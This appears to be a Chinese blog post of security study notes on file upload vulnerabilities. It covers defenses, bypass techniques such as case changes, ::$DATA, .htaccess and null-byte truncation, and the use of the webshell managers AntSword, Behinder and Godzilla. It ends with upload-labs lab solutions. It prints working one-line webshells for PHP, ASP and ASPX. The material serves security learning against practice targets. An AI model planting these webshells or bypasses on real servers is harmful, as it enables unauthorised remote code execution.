day-7

文件上传防御手段

文件扩展名校验

白名单机制:只允许特定扩展名的文件上传,如只允许上传图片和视频文件,严格过滤可执行文件。

大小写不敏感:确保校验过程对文件扩展名的大小写不敏感,防止通过大小写变化绕过校验。

文件内容校验

文件头检测:检查文件内容的开头部分,确保文件类型与扩展名一致。

内容扫描:对上传的文件进行病毒扫描和内容检查,确保不包含恶意代码或敏感数据。

文件大小限制

设置每个文件的最大大小限制,防止上传过大文件耗尽服务器资源。

上传频率限制

限制用户在给定时间内可以上传的文件数量,防止恶意用户或自动化脚本滥用上传功能。

文件重命名

对上传的文件进行重命名,使用随机或唯一的文件名,防止文件名冲突和恶意文件覆盖。

隐藏上传文件路径

不直接暴露上传文件的存储路径,增加攻击者访问文件的难度。

设置目录权限

对文件上传目录设置适当的权限,如只读、只写、不可执行等,防止上传的文件被执行。

使用HTTPS确保文件上传过程通过HTTPS进行,加密传输数据,防止中间人攻击。

文件上传绕过手段

前端绕过

删除或禁用前端校验:通过修改前端代码或禁用JavaScript来绕过前端校验。

修改数据包:使用Burp Suite等工具修改HTTP请求中的数据包,改变文件扩展名或内容。

黑名单绕过

等价扩展名绕过:使用与黑名单中扩展名等价但未被列入黑名单的扩展名。

特殊文件名绕过:利用系统特性,如Windows系统中的空格、点号、::$DATA等特殊字符绕过文件名限制。

.htaccess文件:上传.htaccess文件,通过配置将特定类型的文件当作可执行文件处理。

白名单绕过

MIME类型绕过:修改HTTP请求中的Content-Type字段,绕过对MIME类型的检测。

00截断绕过:在文件名中插入00字节,截断文件名,绕过对文件扩展名的检测。

解析漏洞绕过

中间件解析漏洞:利用Web服务器或中间件的解析漏洞,将非可执行文件当作可执行文件处理。

文件包含漏洞:通过文件包含漏洞,将任意类型的文件当作PHP等脚本文件执行。

条件竞争

利用文件上传过程中的时间差,在文件被重命名或删除之前访问该文件,执行其中的恶意代码。

常用一句话木马

php的一句话木马: <?php @eval($_POST['pass']);?>

asp的一句话是:   <%eval request ("pass")%>

aspx的一句话是:<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

.

文件上传无回显如何查找webshell地址的方法

1. 分析服务器端日志

Web服务器日志:检查Web服务器的访问日志和错误日志,看是否有关于文件上传操作的记录。这些日志可能包含文件上传时使用的URL路径或上传后的存储位置信息。

应用程序日志:如果应用程序有自定义的日志记录功能,尝试查看这些日志以获取上传文件的路径信息。

2. 使用安全扫描工具

Webshell检测工具:利用专业的Webshell检测工具(对网站进行扫描。这些工具能够识别出常见的Webshell特征,并报告可疑的文件路径。

文件扫描:在服务器上进行文件扫描,查找最近创建或修改的可疑文件。这些文件可能是通过文件上传功能上传的Webshell。

3. 源代码审计

查看文件上传处理代码:如果可能的话,获取并审计网站的后端源代码,特别是处理文件上传的代码部分。通过分析代码逻辑,可能可以找到文件上传后的存储路径。

蚁剑使用

在网上下载一句话木马放入记事本把后缀改为php并防入pikachu的www目录下

设置如下

在一句话木马中包含有链接密码

链接查看

bp抓包

冰蝎使用

打开Behinder.jar

选择要使用的模块,生成服务端。

将生成的文件上传至目标

右键新增shell,输入上传的url,选择刚才上传的脚本语言以及对应的传输协议,最后保存即可

链接成功

哥斯拉使用

哥斯拉需要使用自己生成的木马

选择文件生成路径并设置文件名

成功生成

upload-labs靶场通关

pass6

把.php 格式改为 .Php 上传上去之后,就会自动解析为.php,然后直接上传,蚁剑连接

pass7

尝试大小写绕过,.htaccess文件等均显示此文件禁止上传,查看源码

利用bp抓包

pass8

查看源码

bp抓包

pass9

上传PHP一句话文件,抓包改后缀zoe.php::$DATA,使用蚁剑连接pass6的zoe.php

pass10

上传文件名为 .php. .

bp抓包

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值